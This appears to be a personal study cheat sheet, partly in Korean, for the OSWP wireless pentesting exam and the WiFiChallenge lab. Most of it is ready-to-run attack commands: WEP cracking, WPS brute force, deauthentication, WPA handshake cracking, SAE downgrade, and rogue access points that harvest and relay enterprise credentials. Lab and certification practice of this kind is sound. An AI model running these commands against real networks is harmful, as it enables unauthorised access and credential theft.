Info

Exam

https://lab.wifichallenge.com/

Resource

https://www.offsec.com/courses/pen-210/ https://lab.wifichallenge.com/ https://pierrelouis.blog/posts/oswp-lab-setup/ https://zeyadazima.com/certificates/oswprg/ https://youtu.be/Ra0dGPYScLQ?si=KMNJr7d0PbI08b8Y

Setting

https://github.com/r4ulcl/WiFiChallengeLab-docker

git clone https://github.com/r4ulcl/WiFiChallengeLab-docker
cd WiFiChallengeLab-docker
docker compose --file docker-compose.yml up -d

Basic

Settings

# 드라이버 확인
sudo airmon-ng

# USB 장치 나열
sudo lsusb -vv

# 종속성, 호환성 및 펌웨어 요구사항 확인
sudo modinfo ath9k_htc

# 로드된 모듈과 각 모듈의 종속성 나열
lsmod

# 모듈 제거 - 종속되어 있는 거 모두 나열
sudo rmmod <module_name1> <module_name2>

sudo airmon-ng check kill

# Check available interfaces
iwconfig

# Start and stop
sudo airmon-ng start wlan0
sudo airmon-ng stop wlan0mon

# chennel 변경
sudo iwconfig [monitor_interface] channel [number]

# MAC 변경
systemctl stop network-manager
ip link set wlan2 down
macchanger -m b0:72:bf:44:b0:49 wlan2
ip link set wlan2 up

Wireless Tools

iw util

# 사용 가능한 채널/주파수 표시
sudo iwlist wlan0 frequency

# 더 자세히 표시
sudo iw list

# 채널 설정
sudo iwconfig wlan0mon channel 11

# 사용 가능한 SSID 나열
sudo iw dev wlan0 scan | grep SSID

# iw 스캔 출력 구문 분석을 통해 사용 가능한 SSID 및 채널 나열
sudo iw dev wlan0 scan | egrep "DS Parameter set|SSID:"

# 새 가상 인터페이스(VIF) wlan0mon를 생성 및 활성화 및 제거
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo ip link set wlan0mon up
sudo iw dev wlan0mon interface del

# 덤프
sudo tcpdump -i wlan0mon

# 규제 확인 country 00
sudo iw reg get

# 규제 도메인 변경 및 설정 / 영구 변경은 /etc/default/crda에서 REGDOMAIN=US 처럼 입력
iw reg set <COUNTRY>

rfkill

rfkill은 연결된 무선 기기를 활성화 또는 비활성화하는 도구

# 활성화된 모든 Wi-Fi 및 Bluetooth 장치를 표시
sudo rfkill list

#무선 통신을 비활성화 및 재활성화
sudo rfkill block all
sudo rfkill block <block_id>
sudo rfkill unblock <block_id>

Monitor

–band abg: Scan for networks on 2.4GHz (b and g) and 5GHz (a) bands. -c: network channel –manufacturer: Display the manufacturer of detected access points. –wps: Display information about WPS. -w output: Write the output to a file named output.

# dump
sudo airodump-ng [monitor_interface] --band abg --manufacturer --wps --bssid [BSSID] -c [channel] -w [output_file]
sudo airodump-ng wlan0mon -w ~/wifi/scan --manufacturer --wps --band abg -c11 --bssid 00:00:00:00:00:00

# AP-mac을 통한 ssid 유추 
mdk4 wlan0mon p -t [BSSID] -f [wordlist]
mdk4 wlan0mon p -t F0:9F:C2:6A:88:26 -f ~/wifi-rockyou.txt

# wifi-db
cd /root/tools/wifi_db
python3 wifi_db.py -d wifichallenge.SQLITE ~/wifi/
sqlitebrowser wifichallenge.SQLITE

Decrypt

# decap : psk 패킷 해독
airdecap-ng -e wifi-mobile -p $PASSWORD ~/wifi/scanc6-02.cap
wireshark ~/wifi/scanc6-02-dec.cap

Connect

conf files정리된 곳

# wpa_supplicant 사용 전 충돌 방지 필수
sudo systemctl stop NetworkManager 
sudo systemctl disable NetworkManager

# network 연결 및 IP 할당 받기 및 IP 얻기
wpa_supplicant -Dnl80211 -iwlan2 -c free.conf
dhclient wlan2 -v
arp-scan -I wlan2 -l

# IP 할당 해제
dhclient wlan2 -r

Open

network={
    ssid="Open_Network_Name"
    key_mgmt=NONE
}

network={
    ssid="[ESSID]"
    scan_ssid=1
    mode=0
    auth_alg=OPEN
    key_mgmt=NONE
}

WEP

network={
  ssid="SSID"
  key_mgmt=NONE
  wep_key0=""
  wep_tx_keyidx=0
}

network={
    ssid="[ESSID]"
    scan_ssid=1
    mode=0
    auth_alg=OPEN
    key_mgmt=NONE
    wep_key0=0304050607
}

PSK

network={
    ssid="[ESSID]"
    key_mgmt=WPA_PSK
    psk="[passphrase]"
    proto=WPA
    pairwise=CCMP
    group=CCMP
}

network={
    ssid="wifi-mobile"
    psk="$PASSWORD"
    scan_ssid=1
    key_mgmt=WPA-PSK
    proto=WPA2
}

SAE

network={
    # Connect via WPA3 to a WPA2+WPA3 network
    ssid="my_network"
    psk="password"
    key_mgmt=SAE
    ieee80211w=1
}

EAP

eap, phase2_auth는 가변으로 알맞게 설정하면 된다. PEAP-MSCHAPv2, PEAP-GTC, TTLS-PAP, TTLS-CHAP, TTLS-MSCHAPv2

network={ 
	ssid="NetworkName" 
	scan_ssid=1 
	key_mgmt=WPA-EAP 
	identity="Domain\\username" 
	password="password" 
	eap=PEAP 
	phase1="peaplabel=0" 
	phase2="auth=MSCHAPV2"
  ## so add your rogue BSSID here.
  bssid_blacklist=F0:9F:C2:00:00:00 
}

WEP

With Client

# auto
besside-ng -c 1 -b F0:9F:C2:AA:19:29 wlan2 -v

# manual [airodump -> aireplay -> aircrack]
sudo airodump-ng -w [pcap_file_name] --band abg --bssid [mac] -c [channel] wlan0mon
sudo aireplay-ng -1 0 -a [BSSID] -h [Interface_Mac] -e "ESSID" [Interface]
sudo aireplay-ng -3 -b [BSSID] -h [interface_mac_address] [monitor_interface]
sudo aircrack-ng [pcap_file_name].cap

# if not crack
aircrack-ng -w [PASSWORDS_WORDLIST] [pcap_file_name].cap

Without Client

# Fragmentation Attack
airodump-ng -w [CAPTURE_NAME] -c [CHANNEL] --bssid [BSSID] [INTERFACE]
macchanger --show [INTERFACE]
aireplay-ng -1 0 -e [ESSID] -a [BSSID] -h [YOUR_MAC] [INTERFACE]
aireplay-ng -5 -b [BSSID] -h [YOUR_MAC] [INTERFACE]
packetforge-ng -0 -a [BSSID] -h [YOUR_MAC] -k 255.255.255.255 -l 255.255.255.255 -y [FRAGMENT_PACKET].xor -w [ARP_PACKET_NAME]
aireplay-ng -2 -r [ARP_PACKET_NAME] [INTERFACE]
aircrack-ng [CAPTURE_NAME]

# Chop Chop Attack - 위에서 -5를 -4로만 하면 됨
aireplay-ng -4 -b [BSSID] -h [YOUR_MAC] [INTERFACE]

WEB-SKA

나중에 할 일 생기면 알아서 찾아보자

WPA, WPA2 & WPA3

# 연결된 client가 없을 경우
# Deauthentication broadcast attack
aireplay-ng -0 1 -a [BSSID] [INTERFACE]

WPS

# Identifying access points with WPS enabled
wash -i <INTERFACE> -s

# Get your MAC address
macchanger --show <INTERFACE>

# Fake authentication attack
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <YOUR_MAC> <INTERFACE>

# Offline brute force (pixie dust)
reaver -i wlan0 -b 00:06:91:DE:B1:30 -SNLAvv  -c 1 -K

# Online brute force  
reaver -i <INTERFACE> -b <BSSID> -SNLAsvv -d 1 -r 5:3 -c <CHANNEL_NUMBER>

PSK

# 패스워드 얻는 부류 -> 인증해제 공격 -> 패킷 덤프 -> aircrack
sudo airodump-ng -w [pcap_file_name] --band abg --bssid [mac] -c [channel] wlan0mon
# wait re handshake (client-mac 없어도 됨)
sudo aireplay-ng -0 5 -c [client-mac] -a [BSSID] [interface_in_monitor_mode]
sudo aircrack-ng -w [wordlist] [pcap_file_name].cap

SAE

# brute force
cd ~/tools/wacker
./wacker.py --wordlist ~/rockyou-top100000.txt --ssid wifi-management --bssid F0:9F:C2:11:0A:24 --interface wlan2 --freq 2462

# downgrade
## [in wireshark pcap] Wireless Management -> RSN Information -> Management Frame Protection Required, Capable의 False 확인 시 인증 해제 가능

## hostapd.conf
interface=wlan1
driver=nl80211
hw_mode=g
channel=1
ssid=wifi-offices
mana_wpaout=hostapd.hccapx
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP CCMP
wpa_passphrase=12345678

hostapd-mana hostapd.conf

aireplay-ng [INTERFACE] -0 0 -a [BSSID] -c [CLIENT_MAC]

## If the original is hostapd.hccapx (text):
sed 's/^\[WPA2-EAPOL HASHCAT\][[:space:]]*//' hostapd.hccapx > clean_hashes.txt
hashcat -a 0 -m 2500 clean_hashes.txt ~/rockyou-top100000.txt

WPA Enterprise

Get User Domain

# In Wireshark filter for "eap", then search the "Response, Identity" packets, and then in the section "Extensible Authentication Protocol"
wireshark [SAVED_FILE].cap

# wifi-db 사용

# tshark
tshark -r [SAVED_FILE].cap -Y '(eap && wlan.ra == [BSSID]) && (eap.identity)' -T fields -e eap.identity

Get Server Certificate Email

# In Wireshark use the filter:
(wlan.sa == [BSSID]) && (tls.handshake.certificate)

# pcapFilter
bash pcapFilter.sh -f [SAVED_FILE].cap -C

# tshark
tshark -r [SAVED_FILE].cap -Y "wlan.bssid == [BSSID] && ssl.handshake.type == 11" -V

## (Optional) If we only want to get the IA5String info
tshark -r [SAVED_FILE].cap -Y "wlan.bssid == [BSSID] && x509sat.IA5String" -T fields -e x509sat.IA5String

Get EAP Supported

bash ./EAP_buster.sh [SSID] '[DOMAIN]\[USER]' [INTERFACE]
bash ./EAP_buster.sh wifi-global 'GLOBAL\GlobalAdmin' wlan1

Rogue AP

hostmana

OSWP 합격 보고서 참고

NTLM dump

# 인증서 설치
cd /root/tools/eaphammer
python3 ./eaphammer --cert-wizard
python3 ./eaphammer -i wlan3 --auth wpa-eap --essid wifi-corp --creds --negotiate balanced

# 기존 모든 AP에 연결해제 공격 -> Rogue AP에 붙도록 유도
iwconfig wlan0mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:1A wlan0mon -c 64:32:A8:07:6C:40
airmon-ng start wlan1
iwconfig wlan1mon channel 44
aireplay-ng -0 0 -a F0:9F:C2:71:22:15 wlan1mon -c 64:32:A8:07:6C:40

# 해시 크랙 / bulldogs1234
cat logs/hostapd-eaphammer.log | grep hashcat | awk '{print $3}' >> hashcat.5500
hashcat -a 0 -m 5500 hashcat.5500 ~/rockyou-top100000.txt --force

Relay

# mac변경
airmon-ng stop wlan1mon
ip link set wlan1 down
macchanger -m F0:9F:C2:00:00:00 wlan1
ip link set wlan1 up

# Shell 1 : Rogue AP
cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan1 lo wifi-regional-tablets

# Shell 2 : 인증 해제
airmon-ng start wlan0
iwconfig wlan0mon channel 44
aireplay-ng -0 0 wlan0mon -a F0:9F:C2:7A:33:28 -c 64:32:A8:A9:DE:55

# Shell 3
cd ~/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan3

# Brute Force
cd  ~/tools/air-hammer
echo 'CONTOSO\test' > test.user
./air-hammer.py -i wlan3 -e wifi-corp -p ~/rockyou-top100000.txt -u test.user

# Password Relay
cat ~/top-usernames-shortlist.txt | awk '{print "CONTOSO\\" $1}' > ~/top-usernames-shortlist-contoso.txt
./air-hammer.py -i wlan4 -e wifi-corp -P 12345678 -u ~/top-usernames-shortlist-contoso.txt

Captive & Responder

./eaphammer --essid WiFi-Restaurant --interface wlan4 --captive-portal
./eaphammer --essid WiFi-Restaurant --interface wlan2 --hostile-portal

WireShark

Local Capture

# Wi-Fi 어댑터를 모니터 모드로 설정
sudo ip link set wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlan0 up

# channel hop & quickly scan all channels on 2.4GHz
for channel in 1 6 11 2 7 10 3 8 4 9 5
do
  iw dev wlan0mon set channel ${channel}
  sleep 1
done
## channel hop 2
sudo airodump-ng wlan0mon

# all interface
sudo wireshark -D

# interface capture start & Monitor Mode & filter
sudo wireshark -i <interface> -k -I -f "<filter>" -s <byte length>

# pcap open
wireshark file.pcap

Remote Capture

sudo tcpdump -U -w - -i wlan0mon | wireshark -k -i -

Filtter

# 0, 1, 2, 3 -> 관리, 제어, 데이터, 확장 프레임
wlan.fc.type==2
!(wlan.fc.type == 1)

# 장치 필터링 & 비콘 & 프로브(요청 및 응답) & 연관성(요청 및 응답) & 데이터
((wlan addr1 3A:30:F9:0F:E1:95) or (wlan addr2 3A:30:F9:0F:E1:95) or (wlan addr3 3A:30:F9:0F:E1:95) or (wlan addr4 3A:30:F9:0F:E1:95)) and not (subtype beacon) and not (type ctl) and not (subtype probe-req) and not (subtype probe-resp)